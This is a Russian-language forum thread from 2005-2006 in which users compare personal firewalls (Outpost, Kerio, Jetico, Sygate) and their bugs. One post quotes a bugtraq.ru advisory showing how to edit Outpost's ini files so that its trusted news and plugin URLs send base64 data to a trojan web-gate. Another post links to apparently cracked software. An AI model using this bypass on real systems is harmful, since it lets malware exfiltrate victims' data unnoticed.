О лучшем файерволе

Обсуждение любого программного обеспечения. No warez or cracks here...

Сообщение -=NV=- » Ср сен 14, 2005 9:20 am

<!--QuoteBegin-Sh0Ck_filE+Jun 24 2005, 11:02--><div class='quotetop'>QUOTE(Sh0Ck_filE @ Jun 24 2005, 11:02)</div><div class='quotemain'><!--QuoteEBegin-->C незапамятных времён получаю рассылку по секурити, и не было и недели, чтобы в аутпосте не находили очередную дыру. С лёгкостью расстался с ним примерно год-полтора назад и[right][snapback]179489[/snapback][/right]
<!--QuoteEnd--></div><!--QuoteEEnd-->

<!--QuoteBegin-http://bugtraq.ru/rsn/archive/2005/09/07.html+--><div class='quotetop'>QUOTE(http://bugtraq.ru/rsn/archive/2005/09/07.html)</div><div class='quotemain'><!--QuoteEBegin-->Обход Outpost 2.7
dl // 14.09.05 00:56
Проверялась версия Outpost Firewall Pro ver. 2.7.492.5421 (416). Возможна отправка любых данных на web-гейт трояна (напр. pinch 2 pro, a-311 и т.д.), достаточно изменить данные в файлах (пример для русскоязычной версии):

С:\...\Outpost Firewall\outpost.ini
[HttpAlerts]
...
NewsTime=10 //таймаут
NewsEnable=yes //меню->сервис->загружать новости
PluginsTime=10 //таймаут
PluginsEnable=yes //меню->сервис->загружать информацию о модулях
...

С:\...\Outpost Firewall\op_links.ini
NewsPage_ru=http://www.site.ru/mail.php?a=mail@mail.ru&b=subject&c=base64data
PluginsPage_ru=http://www.site.ru/mail.php?a=mail@mail.ru&b=subject&c=base64data
PluginsPageAdv_ru=http://www.site.ru/mail.php?a=mail@mail.ru&b=subject&c=base64data

При этом Outpost выдает предупреждение о том, что его главный модуль пытается соединиться с внешним миром, но это выглядит достаточно безобидно.
<!--QuoteEnd--></div><!--QuoteEEnd-->



еще у меня проблема (не знаю как модеры отреагируют - не нашел куда бросить <!--emo&:)-->[img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]<!--endemo--> кинул здесь. так что разделяйте если не так что-то)
Outpost блокирует интерфейсы во время игры в Лайнэдж. помогает в основном токо ресет. никто не знает как пролечить? в связи с этим решил поменять фаер. Варианты KWR или КАН что лучше? KWR вчера поставил - ну не очень он для фаера как на мой взгляд - нет у него настроек по конкретным приложениям... Или я не нашел?
Последний раз редактировалось -=NV=- Ср сен 14, 2005 9:22 am, всего редактировалось 1 раз.
<!--coloro:#3333FF--><span style="color:#3333FF"><!--/coloro-->Однажды окунувшись в мир виртуальной реальности, ты можешь навсегда остаться в Глубине, в блистательном городе Диптауне, где люди обретают свободу, или, хотя бы видимость свободы.<!--colorc--></span><!--/colorc--> <a href="http://www.google.com.ua/search?hl=ru&q=%D0%BB%D0%B0%D0%B1%D0%B8%D1%80%D0%B8%D0%BD%D1%82+%D0%BE%D1%82%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&meta=" target="_blank">Лабиринт Отражений</a> Сергей Лукьяненко
-=NV=-
Подполковник
 
Сообщений: 949
Зарегистрирован: Ср дек 08, 2004 1:11 pm
Откуда: Deeptown
Пункты репутации: 0

Сообщение dAnIK SeNT » Ср сен 14, 2005 11:05 am

<!--QuoteBegin--=NV=-+Sep 14 2005, 13:20--><div class='quotetop'>QUOTE(-=NV=- @ Sep 14 2005, 13:20)</div><div class='quotemain'><!--QuoteEBegin--> KWR вчера поставил - ну не очень он для фаера как на мой взгляд
[right][snapback]185523[/snapback][/right]<!--QuoteEnd--></div><!--QuoteEEnd-->
ЫЫЫЫЫ!!!! Спасибо, повеселил <!--emo&:)-->[img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]<!--endemo-->
Типа:
Маткад - хреновый калькулятор, до кнопок сложения и вычитания далеко тянуться. То ли дело Microsoft Calc! <!--emo&:)-->[img]style_emoticons/<#EMO_DIR#>/smile.gif[/img]<!--endemo-->
яНЯЕД ОН СОПЪФЙЕ: Athlon 64 X2 5200+ @2,86GHz / nF 570 SLI (ASUS M2N SLI Deluxe) / 4 Gb RAM (4x1Gb Kingston) / 2,9Tb SATAII (0,50+0,64+0,75+1,00Tb WD) / ASUS 8800 GTS512 / 2x NEC-Optiarc AD-7173 / Thermaltake ToughPower 650W / 2x30W Microlab Solo-2 / 20" LCD Benq FP202W (wide) / openSUSE 11.1 / KDE 4.2.1
<!--coloro:Navy--><span style="color:Navy"><!--/coloro-->оН БЯЕЛ БНОПНЯЮЛ - Б email. б ICQ ОНЪБКЪЧЯЭ ПЮГ Б ОНКЦНДЮ.<!--colorc--></span><!--/colorc-->
dAnIK SeNT
Маршал
 
Сообщений: 5101
Зарегистрирован: Чт мар 28, 2002 7:48 pm
Откуда: яяяп
Пункты репутации: 0

Сообщение Andrew » Ср сен 14, 2005 12:42 pm

А давай-ка шок ты нам сбросишь ссылки новостей секурити где ты читал про обходы аутпоста и его глючность.

Лично сам им пользуюсь - никаких нареканий. Может разубедишь?
Что нас не убъет, то сделает нас сильнее.
Первая проба пера <a href="http://t5-keeper.livejournal.com/" target="_blank">http://t5-keeper.livejournal.com/</a>
Andrew
Подполковник
 
Сообщений: 587
Зарегистрирован: Чт мар 28, 2002 6:29 pm
Откуда: Минск
Пункты репутации: 0

Сообщение Andrew » Ср сен 14, 2005 12:53 pm

И про wipfw. Довольно любопытная вещица, но последний релиз что-то уж слишком стар.
Что нас не убъет, то сделает нас сильнее.
Первая проба пера <a href="http://t5-keeper.livejournal.com/" target="_blank">http://t5-keeper.livejournal.com/</a>
Andrew
Подполковник
 
Сообщений: 587
Зарегистрирован: Чт мар 28, 2002 6:29 pm
Откуда: Минск
Пункты репутации: 0

Сообщение -=NV=- » Ср сен 14, 2005 4:26 pm

2dAnIK SeNT я рад что повеселил :) искренне. я оговорился сразу, что не нашел нужных настроек. KWR я вижу только второй день.
ты не понял того что я написал. Хотя, собственно твоя аналогия правильная - действительно KWR отличнейший продукт и очень мощный. но в данном случае мне пока достаточно файрвола (хотя была задумка в дальнейшем использовать обе сетевухи одновременно и с пользой). но повторюсь на данном этапе мне нужен конкретно файер.
ты наверняка хорошо в нем разбираешься, пожалуйста ткни мне пальцем где я могу разрулить ситуацию в которой одна программа должна ходить допустим с одного ip на другой ip по конкретному протоколу и порту (диапазону портов), но при этом все остальные программы не могут использовать это правило?
да учитывая то как я его вчера настроил (може и коряво) ниче плохого (судя по логам (которые читать даже очень прикольно благодаря подсветке) не произошло), но всеже боязно как-то.
<!--coloro:#3333FF--><span style="color:#3333FF"><!--/coloro-->Однажды окунувшись в мир виртуальной реальности, ты можешь навсегда остаться в Глубине, в блистательном городе Диптауне, где люди обретают свободу, или, хотя бы видимость свободы.<!--colorc--></span><!--/colorc--> <a href="http://www.google.com.ua/search?hl=ru&q=%D0%BB%D0%B0%D0%B1%D0%B8%D1%80%D0%B8%D0%BD%D1%82+%D0%BE%D1%82%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&meta=" target="_blank">Лабиринт Отражений</a> Сергей Лукьяненко
-=NV=-
Подполковник
 
Сообщений: 949
Зарегистрирован: Ср дек 08, 2004 1:11 pm
Откуда: Deeptown
Пункты репутации: 0

Сообщение Sh0Ck_filE » Ср сен 14, 2005 5:15 pm

2Andrew<!--QuoteBegin-Andrew+Sep 14 2005, 18:42--><div class='quotetop'>QUOTE(Andrew @ Sep 14 2005, 18:42)</div><div class='quotemain'><!--QuoteEBegin-->А давай-ка шок ты нам сбросишь ссылки новостей секурити где ты читал про обходы аутпоста и его глючность.
[right][snapback]185533[/snapback][/right]
<!--QuoteEnd--></div><!--QuoteEEnd-->
1. Шок - с большой буквы, пожалуйста ;)
2. Про глючность я вроде не упоминал, тока про сплоиты.
3. По вышеуказанному пункту - см. новости bugtraq.ru за весну, у меня после краха винта почта по-новый копится :)
<!--coloro:red--><span style="color:red"><!--/coloro-->"Для того чтобы быть человеком, надо им какое-то время не быть."<!--colorc--></span><!--/colorc--> ©<a href="http://zhurnal.lib.ru/b/brigadir_j_a/" target="_blank">Ю. А. Бригадир.</a>
<a href="http://counter.li.org/cgi-bin/runscript/display-person.cgi?user=437143" target="_blank">Registered Linux user #437143</a>.
Sh0Ck_filE
Генерал-лейтенант
 
Сообщений: 3474
Зарегистрирован: Пн апр 21, 2003 6:20 pm
Откуда: СССР
Пункты репутации: 0

Сообщение -=NV=- » Ср сен 14, 2005 5:56 pm

поставил себе Jetico. прикольно. щас пытаюсь настроить. кому интересно - нашел русифкатор для версии <a href='http://www.ruslab.info/translation/adept.rus.jetico.personal.firewall.1.0.1.60.rar' target='_blank'>10.0.1.60</a>
<!--coloro:#3333FF--><span style="color:#3333FF"><!--/coloro-->Однажды окунувшись в мир виртуальной реальности, ты можешь навсегда остаться в Глубине, в блистательном городе Диптауне, где люди обретают свободу, или, хотя бы видимость свободы.<!--colorc--></span><!--/colorc--> <a href="http://www.google.com.ua/search?hl=ru&q=%D0%BB%D0%B0%D0%B1%D0%B8%D1%80%D0%B8%D0%BD%D1%82+%D0%BE%D1%82%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&meta=" target="_blank">Лабиринт Отражений</a> Сергей Лукьяненко
-=NV=-
Подполковник
 
Сообщений: 949
Зарегистрирован: Ср дек 08, 2004 1:11 pm
Откуда: Deeptown
Пункты репутации: 0

Сообщение Terrogen » Пн окт 03, 2005 2:45 pm

Последний билд аутпоста вешал машину намертво во время игры в шахматы на Chessmaster 10 - только рестарт и спасал. Поскольку такой расклад не очень меня устраивал, то решил поэксперементировать.
Выбор остановил на Kerio Personal Firewall 4 - симпатичный фейс, достаточные настройки, жрёт ресурсов в меру, хотя это для меня и не критично. Всё, что рвётся в сеть увидел, правила создал, по десять раз одно и тоже не спрашивает, увидел, что Чессмастер рвётся в сеть по трём портам, а не по одному, как сообщал Аутпост - видать поэтому и вешалось всё.
<a href='http://www.9down.com/modules.php?name=News&file=article&sid=5598' target='_blank'>Вот тут</a> видел этот продукт в полностью готовом к употреблению виде <!--emo&;)-->[img]style_emoticons/<#EMO_DIR#>/wink.gif[/img]<!--endemo-->
<a href="http://terrogen.livejournal.com/" target="_blank">ЖЖ - Вестник научного похуизма</a>
Terrogen
Маршал
 
Сообщений: 5347
Зарегистрирован: Пт июл 09, 2004 8:17 pm
Откуда: Riga
Пункты репутации: 0

Сообщение Sh0Ck_filE » Пн окт 03, 2005 3:22 pm

2Terrogen
А теперь у него с фильтрами усё путём? А то когда я юзал, он пускал даже неразрешённых, и при полной выкладке-настройке причём :(
<!--coloro:red--><span style="color:red"><!--/coloro-->"Для того чтобы быть человеком, надо им какое-то время не быть."<!--colorc--></span><!--/colorc--> ©<a href="http://zhurnal.lib.ru/b/brigadir_j_a/" target="_blank">Ю. А. Бригадир.</a>
<a href="http://counter.li.org/cgi-bin/runscript/display-person.cgi?user=437143" target="_blank">Registered Linux user #437143</a>.
Sh0Ck_filE
Генерал-лейтенант
 
Сообщений: 3474
Зарегистрирован: Пн апр 21, 2003 6:20 pm
Откуда: СССР
Пункты репутации: 0

Сообщение Elzor » Пн окт 03, 2005 3:24 pm

<!--QuoteBegin-Terrogen+Oct 3 2005, 20:45--><div class='quotetop'>QUOTE(Terrogen @ Oct 3 2005, 20:45)</div><div class='quotemain'><!--QuoteEBegin-->Последний билд аутпоста вешал машину намертво во время игры в шахматы на Chessmaster 10
[right][snapback]187458[/snapback][/right]
<!--QuoteEnd--></div><!--QuoteEEnd-->У меня эти шахмоты и без аутпоста машину намертво вешали. Нечево на хорошего сторожа ради всякой фигни наговаривать...
<span style='color:purple'>Люди не знают, что лисы умеют лазить по деревьям, если очень сильно захотят. Вот белки - те знают.</span><span style='color:gray'> (с) П.Бигл</span>
--------------------
<a href='http://foobar2000.ru/forum/' target='_blank'>Новый Оффорум Foobar2000</a>
--------------------
<a href='http://wincmd.ru/download.php?id=neropanel' target='_blank'>Neropanel</a> - плагин для записи CD из TC, используя NeroAPI <a href='http://www.fforum.ru/index.php?showtopic=19193&hl=' target='_blank'>обсуждение плагина</a>
--------------------
<a href='http://www.spikelee.fatal.ru' target='_blank'>Изображение</a>
Elzor
Полковник
 
Сообщений: 1157
Зарегистрирован: Пт дек 24, 2004 2:59 pm
Откуда: Орск
Пункты репутации: 0

Сообщение Terrogen » Пн окт 03, 2005 4:39 pm

2Elzor
У меня нормальная английская версия, без старфорсов и прочего дерьма, включаешь фаер - всё вешается, отрубаешь- играешь спокойно. НИ РАЗУ не вешали, правда, им проц нужен мощный.

2Sh0Ck_filE
пока полёт нормальный
<a href="http://terrogen.livejournal.com/" target="_blank">ЖЖ - Вестник научного похуизма</a>
Terrogen
Маршал
 
Сообщений: 5347
Зарегистрирован: Пт июл 09, 2004 8:17 pm
Откуда: Riga
Пункты репутации: 0

Сообщение Sh0Ck_filE » Вт окт 25, 2005 9:43 pm

<!--QuoteBegin-Terrogen+Oct 3 2005, 20:45--><div class='quotetop'>QUOTE(Terrogen @ Oct 3 2005, 20:45)</div><div class='quotemain'><!--QuoteEBegin-->Выбор остановил на Kerio Personal Firewall 4
[right][snapback]187458[/snapback][/right]
<!--QuoteEnd--></div><!--QuoteEEnd-->
А у меня он под вин2003 даже не установился - говорит, я на серверах не работаю. Я обрадовался, подумал что мой дохлый ноут до сервера проапгрейдили, но... оказалось, меня жестоко обманули :)
<!--coloro:red--><span style="color:red"><!--/coloro-->"Для того чтобы быть человеком, надо им какое-то время не быть."<!--colorc--></span><!--/colorc--> ©<a href="http://zhurnal.lib.ru/b/brigadir_j_a/" target="_blank">Ю. А. Бригадир.</a>
<a href="http://counter.li.org/cgi-bin/runscript/display-person.cgi?user=437143" target="_blank">Registered Linux user #437143</a>.
Sh0Ck_filE
Генерал-лейтенант
 
Сообщений: 3474
Зарегистрирован: Пн апр 21, 2003 6:20 pm
Откуда: СССР
Пункты репутации: 0

Сообщение Ilch » Вт ноя 29, 2005 12:46 pm

Вот, на <a href='http://www.sensiveguard.com/' target='_blank'>http://www.sensiveguard.com/</a> имеется оч-чень достойный продукт, из дармовых. Попробовал его. Хорош. Дружественен. Когда стоял в спарке с ZoneAlarm, то именно он, а не ZA срабатывал на попытки всяких штуков-дрюков вылезти из машины или влезть в оную из сети. Да и маленький он - что-то около полутора метров.
Non vaginus, non rotes legionus
Ilch
Капитан
 
Сообщений: 298
Зарегистрирован: Вт май 28, 2002 10:25 am
Откуда: Винница
Пункты репутации: 0

Сообщение Sh0Ck_filE » Сб мар 11, 2006 12:02 am

2Ilch
А на Win2k/2k+3 Server он случайно не поставится? :-р

Общий вопрос: люди, нужон нормальный фаервол, который бы не побрезговал работой под вин2003серв. Чем бесплатней, тем лучше. Ни у кого на примете нет? (Сейчас пользую Sygate, но есть мотивы его сменить).
<!--coloro:red--><span style="color:red"><!--/coloro-->"Для того чтобы быть человеком, надо им какое-то время не быть."<!--colorc--></span><!--/colorc--> ©<a href="http://zhurnal.lib.ru/b/brigadir_j_a/" target="_blank">Ю. А. Бригадир.</a>
<a href="http://counter.li.org/cgi-bin/runscript/display-person.cgi?user=437143" target="_blank">Registered Linux user #437143</a>.
Sh0Ck_filE
Генерал-лейтенант
 
Сообщений: 3474
Зарегистрирован: Пн апр 21, 2003 6:20 pm
Откуда: СССР
Пункты репутации: 0

Сообщение maxovt » Сб мар 11, 2006 12:25 am

2Sh0Ck_filE
А чем встроенный не устраивает?
Я как на XP пересел, так отказался от Sygate...
<span style='color:green'>Kawaii nante sonna koto iccha dame desu!</span>
maxovt
Маршал
 
Сообщений: 7030
Зарегистрирован: Вт июн 03, 2003 2:16 pm
Откуда: Latvija, Rīga
Пункты репутации: 5

Пред.След.

Вернуться в Software

Кто сейчас на форуме

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 5

cron